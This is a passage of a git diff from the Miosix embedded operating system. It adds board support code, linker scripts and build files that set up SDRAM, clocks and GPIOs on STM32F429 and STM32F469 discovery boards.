GPIOD->AFR[1]=0xcc000ccc; + GPIOE->AFR[0]=0xc00000cc; + GPIOE->AFR[1]=0xcccccccc; + GPIOF->AFR[0]=0x00cccccc; + GPIOF->AFR[1]=0xccccc000; + GPIOG->AFR[0]=0x00cc00cc; + GPIOG->AFR[1]=0xc000000c; + + GPIOB->MODER=0x00002800; + GPIOC->MODER=0x00000002; + GPIOD->MODER=0xa02a000a; + GPIOE->MODER=0xaaaa800a; + GPIOF->MODER=0xaa800aaa; + GPIOG->MODER=0x80020a0a; + + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... + GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins + GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; + GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; + GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; + GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; + GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; + GPIOH->OSPEEDR=0xaaaaaaaa; + + //Since we'we un-configured PB3/PB4 from the default at boot TDO,NTRST, + //finish the job and remove the default pull-up + GPIOB->PUPDR=0; + + //Second, actually start the SDRAM controller + RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + + //SDRAM is a IS42S16400J -7 speed grade, connected to bank 2 (0xd0000000) + //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency + | FMC_SDCR1_RBURST // Enable read burst + | 0; // 0 delay between reads after CAS + FMC_Bank5_6->SDCR[1]=0 // 8 bit column address + | FMC_SDCR1_NR_0 // 12 bit row address + | FMC_SDCR1_MWID_0 // 16 bit data bus + | FMC_SDCR1_NB // 4 banks + | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (F<133MHz) + + static_assert(cpuFrequency==180000000 || cpuFrequency==168000000, + "No SDRAM timings for this clock"); + if (cpuFrequency==180000000) + { + //One SDRAM clock cycle is 11.1ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>63ns) + | (2-1)<<20; // 2 cycle TRP (22.2ns>15ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (7-1)<<4 // 7 cycle TXSR (77.7ns>70ns) + | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (22.2ns>15ns) + } else if (cpuFrequency==168000000) { + //One SDRAM clock cycle is 11.9ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>63ns) + | (2-1)<<20; // 2 cycle TRP (23.8ns>15ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (6-1)<<4 // 6 cycle TXSR (71.4ns>70ns) + | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (23.8ns>15ns) + } + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 1; // MODE=001 clock enabled + sdramCommandWait(); + + //ST and SDRAM datasheet agree a 100us delay is required here. + delayUs(100); + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 2; // MODE=010 precharge all command + sdramCommandWait(); + + FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says + // "at least two AUTO REFRESH cycles" + | FMC_SDCMR_CTB2 // Enable bank 2 + | 3; // MODE=011 auto refresh + sdramCommandWait(); + + FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 + | FMC_SDCMR_CTB2 // Enable bank 2 + | 4; // MODE=100 load mode register + sdramCommandWait(); + + // 64ms/4096=15.625us + if (cpuFrequency==180000000) + { + //15.625us*90MHz=1406-20=1386 + FMC_Bank5_6->SDRTR=1386<<1; + } else if (cpuFrequency==168000000) { + //15.625us*84MHz=1312-20=1292 + FMC_Bank5_6->SDRTR=1292<<1; + } +} + +// static IRQDisplayPrint *irq_display; +void IRQbspInit() +{ + //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here + #ifndef __ENABLE_XRAM + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + #endif //__ENABLE_XRAM + + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +// irq_display = new IRQDisplayPrint(); +// IRQsetDefaultConsole(intrusive_ref_ptr(irq_display)); +} + +// void* printIRQ(void *argv) +// { +// intrusive_ref_ptr irqq(irq_display); +// irqq.get()->printIRQ(); +// return NULL; +// } + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +// Thread::create(printIRQ, 2048, DEFAULT_PRIORITY, nullptr, Thread::DETACHED); +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..393d2556b --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,76 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss + * Requires the CPU clock to be already configured (running from the PLL) + */ +void configureSdram(); + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/homeone.cfg b/miosix/arch/board/stm32f429zi_stm32f4discovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/homeone.cfg rename to miosix/arch/board/stm32f429zi_stm32f4discovery/openocd.cfg diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/processes-xram-6m.ld b/miosix/arch/board/stm32f429zi_stm32f4discovery/processes-xram-6m.ld new file mode 100644 index 000000000..0e1c6c7de --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/processes-xram-6m.ld @@ -0,0 +1,36 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* No _process_pool_size as it's fixed to the size of ram2 */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing the process pool in XRAM, we use the + * SRAM for the kernel + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 192K + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 6M /* XRAM */ +} + +/* + * NOTE: the SDRAM is 8MB, but this linker script only uses the lower 6. + * The upper 2MB are reserved as framebuffers for the LCD. The choice to + * allocate this space is due to the SDRAM architecture, composed of 4 banks of + * 2MB each. Reserving a bank for the LCD allows the software running on the + * board and the LCD to operate (almost) independently. + * Regardless, we want to configure the MPU to span the entire XRAM + */ +_xram_start = ORIGIN(ram2); +_xram_size = 8M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/processes.ld b/miosix/arch/board/stm32f429zi_stm32f4discovery/processes.ld new file mode 100644 index 000000000..dc6a57601 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/processes.ld @@ -0,0 +1,29 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: The stm32f429 has the architectural quirk that ram1 is a TCM that is + * not accessible by the DMA. As such, we can't use the entire ram2 for the + * process pool, since that would leave the kernel with no DMA-capable RAM! + * The DMA-based drivers for stm32f407 are hardcoded to assume that only heap + * memory is DMA-capable, so with this chip we *must* place the kernel keap in + * ram2! + * We thus split ram2 into 64K for the kernel heap and 128K for the process pool. + */ +_process_pool_size = 128K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 192K +} + +/* Mark XRAM even if it's not used in memory map, may be used for framebuffer */ +_xram_start = 0xd0000000; +_xram_size = 8M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel-xram-6m.ld b/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel-xram-6m.ld new file mode 100644 index 000000000..84a7ba6ac --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel-xram-6m.ld @@ -0,0 +1,33 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, we use TCM for the interrupt stack and leave the rest of the internal + * RAM unused + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 6M /* XRAM */ +} + +/* + * NOTE: the SDRAM is 8MB, but this linker script only uses the lower 6. + * The upper 2MB are reserved as framebuffers for the LCD. The choice to + * allocate this space is due to the SDRAM architecture, composed of 4 banks of + * 2MB each. Reserving a bank for the LCD allows the software running on the + * board and the LCD to operate (almost) independently. + * Regardless, we want to configure the MPU to span the entire XRAM + */ +_xram_start = ORIGIN(ram2); +_xram_size = 8M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel-xram-8m.ld b/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel-xram-8m.ld new file mode 100644 index 000000000..17de8b8e6 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel-xram-8m.ld @@ -0,0 +1,25 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, we use TCM for the interrupt stack and leave the rest of the internal + * RAM unused + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 8M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel.ld b/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel.ld new file mode 100644 index 000000000..f6028279c --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/unikernel.ld @@ -0,0 +1,18 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 192K +} + +/* Mark XRAM even if it's not used in memory map, may be used for framebuffer */ +_xram_start = 0xd0000000; +_xram_size = 8M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/CMakeLists.txt b/miosix/arch/board/stm32f469ni_stm32f469i-disco/CMakeLists.txt new file mode 100644 index 000000000..98bfd098e --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/CMakeLists.txt @@ -0,0 +1,46 @@ +## +## CMakeLists.txt for board stm32f469ni_stm32f469i-disco +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel.ld + # 2) Code in FLASH, stack + heap in external RAM + unikernel-xram-16m.ld + # 3) Same as 2), but leaves the upper 4MB of RAM for the LCD framebuffers + unikernel-xram-12m.ld + # 4) Code in FLASH, kernel in internal RAM, process pool in external RAM + processes-xram.ld -DWITH_PROCESSES + # 5) Code in FLASH, kernel and process pool in external RAM + processes-kernel-xram.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-12m.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +# Uncommenting __ENABLE_XRAM enables the initialization of the external +# 16MB SDRAM memory. Do not uncomment this even if you don't use a linker +# script that requires it, as it is used for the LCD framebuffer. +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F469NI_STM32F469I_DISCO -D__ENABLE_XRAM) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F469NI_STM32F469I_DISCO -D__ENABLE_XRAM) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/Makefile.inc b/miosix/arch/board/stm32f469ni_stm32f469i-disco/Makefile.inc new file mode 100644 index 000000000..8961c503d --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/Makefile.inc @@ -0,0 +1,31 @@ +## +## Makefile for board stm32f469ni_stm32f469i-disco +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F469NI_STM32F469I_DISCO +BOARD_CXXFLAGS := -D_BOARD_STM32F469NI_STM32F469I_DISCO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/boot.cpp b/miosix/arch/board/stm32f469ni_stm32f469i-disco/boot.cpp new file mode 100644 index 000000000..77c406727 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/boot.cpp @@ -0,0 +1,46 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/bsp.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Initialize clocks + SystemInit(); + //ST does not provide code to initialize the stm32f469-disco SDRAM at boot. + //Initialize SDRAM after SystemInit() as it is timing-sensitive and needs + //the full clock speed. + #ifdef __ENABLE_XRAM + miosix::configureSdram(); + #endif //__ENABLE_XRAM +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..e9279dfc7 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F469xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f469,f479 RCC synchronization is required per the device errata +//(ES0321 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 92, so there are 93 +#define MIOSIX_NUM_PERIPHERAL_IRQ 93 diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..d23590625 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp.cpp @@ -0,0 +1,316 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * Copyright (C) 2017 by Federico Amedeo Izzo * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" +// #include "kernel/IRQDisplayPrint.h" + +namespace miosix { + +// +// Initialization +// + +template +static constexpr unsigned long sdramSDTR() noexcept +{ + constexpr float hclk_mhz = cpuFrequency/1000000; + constexpr float t_ns = 1000.0f / (hclk_mhz / (float)div); + constexpr int sdtr_trcd = std::ceil((float)t_rcd_ns / t_ns) - 1; + static_assert(0 <= sdtr_trcd && sdtr_trcd <= 15); + constexpr int sdtr_trp = std::ceil((float)t_rp_ns / t_ns) - 1; + static_assert(0 <= sdtr_trp && sdtr_trp <= 15); + constexpr int sdtr_twr = std::ceil((float)t_wr_ns / t_ns) - 1; + static_assert(0 <= sdtr_twr && sdtr_twr <= 15); + constexpr int sdtr_trc = std::ceil((float)t_rc_ns / t_ns) - 1; + static_assert(0 <= sdtr_trc && sdtr_trc <= 15); + constexpr int sdtr_tras = std::ceil((float)t_ras_ns / t_ns) - 1; + static_assert(0 <= sdtr_tras && sdtr_tras <= 15); + constexpr int sdtr_txsr = std::ceil((float)t_xsr_ns / t_ns) - 1; + static_assert(0 <= sdtr_txsr && sdtr_txsr <= 15); + constexpr int sdtr_tmrd = std::ceil((float)t_mrd_ns / t_ns) - 1; + static_assert(0 <= sdtr_tmrd && sdtr_tmrd <= 15); + return sdtr_trcd << FMC_SDTR1_TRCD_Pos + | sdtr_trp << FMC_SDTR1_TRP_Pos + | sdtr_twr << FMC_SDTR1_TWR_Pos + | sdtr_trc << FMC_SDTR1_TRC_Pos + | sdtr_tras << FMC_SDTR1_TRAS_Pos + | sdtr_txsr << FMC_SDTR1_TXSR_Pos + | sdtr_tmrd << FMC_SDTR1_TMRD_Pos; +} + +template +constexpr unsigned long sdramSDRTR() noexcept +{ + constexpr float hclk_mhz = cpuFrequency/1000000; + constexpr float t_us = 1.0f / (hclk_mhz / (float)div); + constexpr float t_refresh_us = (float)t_refresh_ms * 1000.0f; + constexpr float t_refreshPerRow_us = t_refresh_us / (float)n_rows; + constexpr int sdrtr_count = (std::floor(t_refreshPerRow_us / t_us)-20)-1; + static_assert(41 <= sdrtr_count && sdrtr_count <= 0x1FFF); + return sdrtr_count << FMC_SDRTR_COUNT_Pos; +} + +/** + * The example code from ST checks for the busy flag after each command. + * Interestingly I couldn't find any mention of this in the datasheet. + */ +static void sdramCommandWait() +{ + for(int i=0;i<0xffff;i++) + if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; +} + +void configureSdram() +{ + /* SDRAM pins assignment + PC0 -> FMC_SDNWE + PD0 -> FMC_D2 | PE0 -> FMC_NBL0 | PF0 -> FMC_A0 | PG0 -> FMC_A10 + PD1 -> FMC_D3 | PE1 -> FMC_NBL1 | PF1 -> FMC_A1 | PG1 -> FMC_A11 + PD8 -> FMC_D13 | PE7 -> FMC_D4 | PF2 -> FMC_A2 | PG4 -> FMC_BA0 + PD9 -> FMC_D14 | PE8 -> FMC_D5 | PF3 -> FMC_A3 | PG5 -> FMC_BA1 + PD10 -> FMC_D15 | PE9 -> FMC_D6 | PF4 -> FMC_A4 | PG8 -> FC_SDCLK + PD14 -> FMC_D0 | PE10 -> FMC_D7 | PF5 -> FMC_A5 | PG15 -> FMC_NCAS + PD15 -> FMC_D1 | PE11 -> FMC_D8 | PF11 -> FC_NRAS + | PE12 -> FMC_D9 | PF12 -> FMC_A6 + | PE13 -> FMC_D10 | PF13 -> FMC_A7 + | PE14 -> FMC_D11 | PF14 -> FMC_A8 + | PE15 -> FMC_D12 | PF15 -> FMC_A9 + PH2 -> FMC_SDCKE0| PI4 -> FMC_NBL2 | + PH3 -> FMC_SDNE0 | PI5 -> FMC_NBL3 | + + // 32-bits Mode: D31-D16 + PH8 -> FMC_D16 | PI0 -> FMC_D24 + PH9 -> FMC_D17 | PI1 -> FMC_D25 + PH10 -> FMC_D18 | PI2 -> FMC_D26 + PH11 -> FMC_D19 | PI3 -> FMC_D27 + PH12 -> FMC_D20 | PI6 -> FMC_D28 + PH13 -> FMC_D21 | PI7 -> FMC_D29 + PH14 -> FMC_D22 | PI9 -> FMC_D30 + PH15 -> FMC_D23 | PI10 -> FMC_D31 */ + + //Enable all gpios, passing clock + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | + RCC_AHB1ENR_GPIOIEN | RCC_AHB1ENR_GPIOJEN | + RCC_AHB1ENR_GPIOKEN; + RCC_SYNC(); + + //First, configure SDRAM GPIOs, memory controller uses AF12 + GPIOC->AFR[0]=0x0000000c; + GPIOD->AFR[0]=0x000000cc; + GPIOD->AFR[1]=0xcc000ccc; + GPIOE->AFR[0]=0xc00000cc; + GPIOE->AFR[1]=0xcccccccc; + GPIOF->AFR[0]=0x00cccccc; + GPIOF->AFR[1]=0xccccc000; + GPIOG->AFR[0]=0x00cc00cc; + GPIOG->AFR[1]=0xc000000c; + GPIOH->AFR[0]=0x0000cc00; + GPIOH->AFR[1]=0xcccccccc; + GPIOI->AFR[0]=0xcccccccc; + GPIOI->AFR[1]=0x00000cc0; + + GPIOC->MODER=0x00000002; + GPIOD->MODER=0xa02a000a; + GPIOE->MODER=0xaaaa800a; + GPIOF->MODER=0xaa800aaa; + GPIOG->MODER=0x80020a0a; + GPIOH->MODER=0xaaaa00a0; + GPIOI->MODER=0x0028aaaa; + + /* GPIO speed register + 00: Low speed + 01: Medium speed + 10: High speed (50MHz) + 11: Very high speed (100MHz) */ + + //Default to 50MHz speed for all GPIOs... + GPIOA->OSPEEDR=0xaaaaaaaa; + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; //...but 100MHz for the SDRAM pins + GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; + GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; + GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; + GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; + GPIOH->OSPEEDR=0xaaaaaaaa | 0xffff00f0; + 